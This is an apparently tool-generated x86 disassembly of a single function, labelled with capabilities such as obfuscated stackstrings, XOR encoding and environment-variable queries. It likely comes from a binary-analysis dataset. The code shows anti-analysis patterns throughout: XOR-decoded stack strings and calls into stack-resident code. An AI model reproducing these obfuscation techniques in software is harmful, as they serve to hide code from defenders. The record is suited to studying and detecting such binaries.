Function at 0x420464
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x94]
sub esp, 0x11c
mov byte [ebp - 0x8c], 0x42
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4dd668]
test al, al
jne 0x4204d0
mov dword [esp], 0x4dd668
call fcn.004ceb90
test eax, eax
je 0x4204d0
mov dword [esp], ebx
mov ecx, 0x4df240
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfd40
call fcn.004013f0
mov dword [esp], 0x4dd668
call fcn.004cec60
mov ecx, 0x4df240
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df240
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0x9170361a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd600]
test al, al
jne 0x420547
mov dword [esp], 0x4dd600
call fcn.004ceb90
test eax, eax
je 0x420547
lea eax, [ebp - 0x94]
mov ecx, 0x4defc0
mov dword [esp], eax
call fcn.0042e904
push eax
mov dword [esp], 0x4cfd44
call fcn.004013f0
mov dword [esp], 0x4dd600
call fcn.004cec60
mov ecx, 0x4defc0
call fcn.0042e8d4
mov dword [esp], 0x4defc0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x420569
lea eax, [ebp - 0xac]
call eax
mov ecx, ebx
call fcn.0042e414
mov eax, ebx
call fcn.00424abc
mov byte [ebp - 0x8c], 0x42
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4dd638]
test al, al
jne 0x4205d1
mov dword [esp], 0x4dd638
call fcn.004ceb90
test eax, eax
je 0x4205d1
mov dword [esp], ebx
mov ecx, 0x4df120
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfd50
call fcn.004013f0
mov dword [esp], 0x4dd638
call fcn.004cec60
mov ecx, 0x4df120
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df120
lea ebx, [ebp - 0x94]
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0xa5803e1e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd640]
test al, al
jne 0x420648
mov dword [esp], 0x4dd640
call fcn.004ceb90
test eax, eax
je 0x420648
mov dword [esp], ebx
mov ecx, 0x4df140
call fcn.0042e904
push eax
mov dword [esp], 0x4cfd54
call fcn.004013f0
mov dword [esp], 0x4dd640
call fcn.004cec60
mov ecx, 0x4df140
call fcn.0042e8d4
mov dword [esp], 0x4df140
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42066a
lea eax, [ebp - 0xac]
call eax
mov ecx, ebx
call fcn.0042e3d8
mov eax, ebx
call fcn.00424abc
mov byte [ebp - 0x8c], 0x42
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4dd648]
test al, al
jne 0x4206d2
mov dword [esp], 0x4dd648
call fcn.004ceb90
test eax, eax
je 0x4206d2
mov dword [esp], ebx
mov ecx, 0x4df180
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfd64
call fcn.004013f0
mov dword [esp], 0x4dd648
call fcn.004cec60
mov ecx, 0x4df180
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df180
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0xb9904622
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd650]
test al, al
jne 0x420749
mov dword [esp], 0x4dd650
call fcn.004ceb90
test eax, eax
je 0x420749
lea eax, [ebp - 0x94]
mov ecx, 0x4df1a0
mov dword [esp], eax
call fcn.0042e904
push eax
mov dword [esp], 0x4cfd68
call fcn.004013f0
mov dword [esp], 0x4dd650
call fcn.004cec60
mov ecx, 0x4df1a0
call fcn.0042e8d4
mov dword [esp], 0x4df1a0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42076b
lea eax, [ebp - 0xac]
call eax
mov ecx, ebx
call fcn.0042e550
mov eax, ebx
call fcn.00424abc
mov byte [ebp - 0x8c], 0x42
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov al, byte [0x4dd658]
test al, al
jne 0x4207d3
mov dword [esp], 0x4dd658
call fcn.004ceb90
test eax, eax
je 0x4207d3
mov dword [esp], ebx
mov ecx, 0x4df1e0
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfd74
call fcn.004013f0
mov dword [esp], 0x4dd658
call fcn.004cec60
mov ecx, 0x4df1e0
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df1e0
lea ebx, [ebp - 0x94]
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0xcda04e26
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd660]
test al, al
jne 0x42084a
mov dword [esp], 0x4dd660
call fcn.004ceb90
test eax, eax
je 0x42084a
mov dword [esp], ebx
mov ecx, 0x4df200
call fcn.0042e904
push esi
mov dword [esp], 0x4cfd78
call fcn.004013f0
mov dword [esp], 0x4dd660
call fcn.004cec60
mov ecx, 0x4df200
call fcn.0042e8d4
mov dword [esp], 0x4df200
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42086c
lea eax, [ebp - 0xac]
call eax
mov dword [ebp - 0xac], 0x43627053
mov edi, ebx
xor eax, eax
mov ecx, 0x1f
mov dword [ebp - 0xa8], 0x61717074
mov ebx, 0x17
mov esi, dword [0x4de048]
mov dword [ebp - 0xa4], 0x7f4f726b
rep stosd dword es:[edi], eax
mov byte [ebp - 0x98], 0
mov ecx, 0x14
mov dword [ebp - 0xa0], 0x6a647859
mov dword [ebp - 0x9c], 0x516a6264
mov eax, ecx
xor edx, edx
div ebx
xor byte [ebp + ecx - 0xc0], dl
inc ecx
cmp ecx, 0x28
jne 0x4208c0
mov dword [ebp - 0xc4], 0x43574447
mov ecx, 6
mov word [ebp - 0xc0], 0x4d53
mov byte [ebp - 0xbe], 0
mov eax, ecx
mov ebx, 7
xor edx, edx
div ebx
xor byte [ebp + ecx - 0xca], dl
inc ecx
cmp ecx, 0xc
jne 0x4208f2
lea eax, [ebp - 0xc4]
lea ebx, [ebp - 0xac]
xor edi, edi
call fcn.004284d4
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
xor esi, esi
push edx
push edx
lea edx, [ebp - 0x94]
mov dword [esp], edx
call eax
lea eax, [ebp - 0x90]
push ecx
mov ecx, ebx
mov dword [esp], eax
call fcn.004bcc7c
mov ecx, 0x24
push ebx
mov eax, dword [ebp - 0xac]
mov edx, dword [ebp - 0xa8]
add edx, eax
mov dword [ebp - 0x10c], edx
cmp dword [ebp - 0x10c], eax
je 0x4209bb
mov dl, byte [eax]
mov byte [ebp - 0x100], dl
cmp dl, 0x2d
je 0x4209b8
mov edx, esi
imul ebx, edi, 0x24
mulx edi, esi, ecx
mov dword [ebp - 0x104], edi
add dword [ebp - 0x104], ebx
movsx ebx, byte [ebp - 0x100]
cmp byte [ebp - 0x100], 0x60
mov dword [ebp - 0x108], esi
lea esi, [ebx - 0x30]
jle 0x4209a7
lea esi, [ebx - 0x57]
mov edi, esi
sar edi, 0x1f
add esi, dword [ebp - 0x108]
adc edi, dword [ebp - 0x104]
inc eax
jmp 0x420960
lea ecx, [ebp - 0xac]
call fcn.004b8e40
neg esi
adc edi, 0
mov dword [ebp - 0x100], esi
neg edi
mov dword [ebp - 0xfc], edi
fild qword [ebp - 0x100]
jns 0x4209e7
fadd dword [0x4e325c]
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
fstp qword [ebp - 0x100]
mov al, byte [0x4dd608]
test al, al
jne 0x420a4d
mov dword [esp], 0x4dd608
call fcn.004ceb90
test eax, eax
je 0x420a4d
lea eax, [ebp - 0x94]
mov ecx, 0x4df000
mov dword [esp], eax
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfd84
call fcn.004013f0
mov dword [esp], 0x4dd608
call fcn.004cec60
mov ecx, 0x4df000
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df000
lea ebx, [ebp - 0x94]
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0xe1b0562a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd610]
test al, al
jne 0x420ac4
mov dword [esp], 0x4dd610
call fcn.004ceb90
test eax, eax
je 0x420ac4
mov dword [esp], ebx
mov ecx, 0x4df020
call fcn.0042e904
push eax
mov dword [esp], 0x4cfd88
call fcn.004013f0
mov dword [esp], 0x4dd610
call fcn.004cec60
mov ecx, 0x4df020
call fcn.0042e8d4
mov dword [esp], 0x4df020
call sub.msvcrt.dll_getenv
test eax, eax
je 0x420ae6
lea eax, [ebp - 0xac]
call eax
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dd618]
test al, al
jne 0x420b40
mov dword [esp], 0x4dd618
call fcn.004ceb90
test eax, eax
je 0x420b40
mov dword [esp], ebx
mov ecx, 0x4df060
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfd94
call fcn.004013f0
mov dword [esp], 0x4dd618
call fcn.004cec60
mov ecx, 0x4df060
lea edi, [ebp - 0x94]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4df060
lea ebx, [ebp - 0x94]
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0xac], 0xf5c05e2e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd620]
test al, al
jne 0x420bb7
mov dword [esp], 0x4dd620
call fcn.004ceb90
test eax, eax
je 0x420bb7
mov dword [esp], ebx
mov ecx, 0x4df080
call fcn.0042e904
push eax
mov dword [esp], 0x4cfda4
call fcn.004013f0
mov dword [esp], 0x4dd620
call fcn.004cec60
mov ecx, 0x4df080
call fcn.0042e8d4
mov dword [esp], 0x4df080
call sub.msvcrt.dll_getenv
test eax, eax
je 0x420bd9
lea eax, [ebp - 0xac]
call eax
fld qword [ebp - 0x100]
lea eax, [ebp - 0xf4]
fisttp dword [ebp - 0x100]
mov esi, dword [ebp - 0x100]
mov dword [esp + 8], esi
mov edx, dword [ebp + 8]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.0042de90
mov dword [esp + 8], esi
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xdc]
mov dword [esp], eax
call fcn.0042de90
mov dword [ebp - 0x94], 0xc1eb1542
mov dword [ebp - 0x90], 0x7c90ec48
mov byte [ebp - 0x8c], 0x42
mov al, byte [0x4dd628]
test al, al
jne 0x420c77
mov dword [esp], 0x4dd628
call fcn.004ceb90
test eax, eax
je 0x420c77
mov dword [esp], ebx
mov ecx, 0x4df0c0
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfdb0
call fcn.004013f0
mov dword [esp], 0x4dd628
call fcn.004cec60
mov ecx, 0x4df0c0
call fcn.0042e93c
mov dword [esp], 0x4df0c0
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0xac], 0x9d06632
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd630]
test al, al
jne 0x420ce4
mov dword [esp], 0x4dd630
call fcn.004ceb90
test eax, eax
je 0x420ce4
mov dword [esp], ebx
mov ecx, 0x4df0e0
call fcn.0042e904
push esi
mov dword [esp], 0x4cfdb4
call fcn.004013f0
mov dword [esp], 0x4dd630
call fcn.004cec60
mov ecx, 0x4df0e0
lea esi, [ebp - 0xac]
call fcn.0042e8d4
mov dword [esp], 0x4df0e0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x420d06
call esi
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0x94]
mov dword [esp], eax
call fcn.004bcba0
push ecx
mov eax, dword [ebp + 0xc]
mov ecx, esi
mov dword [esp], eax
call fcn.004bcba0
push edx
lea eax, [ebp - 0xf4]
lea ecx, [ebp - 0xc4]
mov dword [esp], eax
call fcn.004bcba0
push eax
lea edi, [ebp - 0xc4]
lea eax, [ebp - 0x94]
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00422678
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x100], eax
call fcn.004b8e40
lea ecx, [ebp - 0xac]
call fcn.004b8e40
mov ecx, ebx
call fcn.004b8e40
lea ecx, [ebp - 0xdc]
call fcn.004b8e40
lea ecx, [ebp - 0xf4]
call fcn.004b8e40
mov eax, dword [ebp - 0x100]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret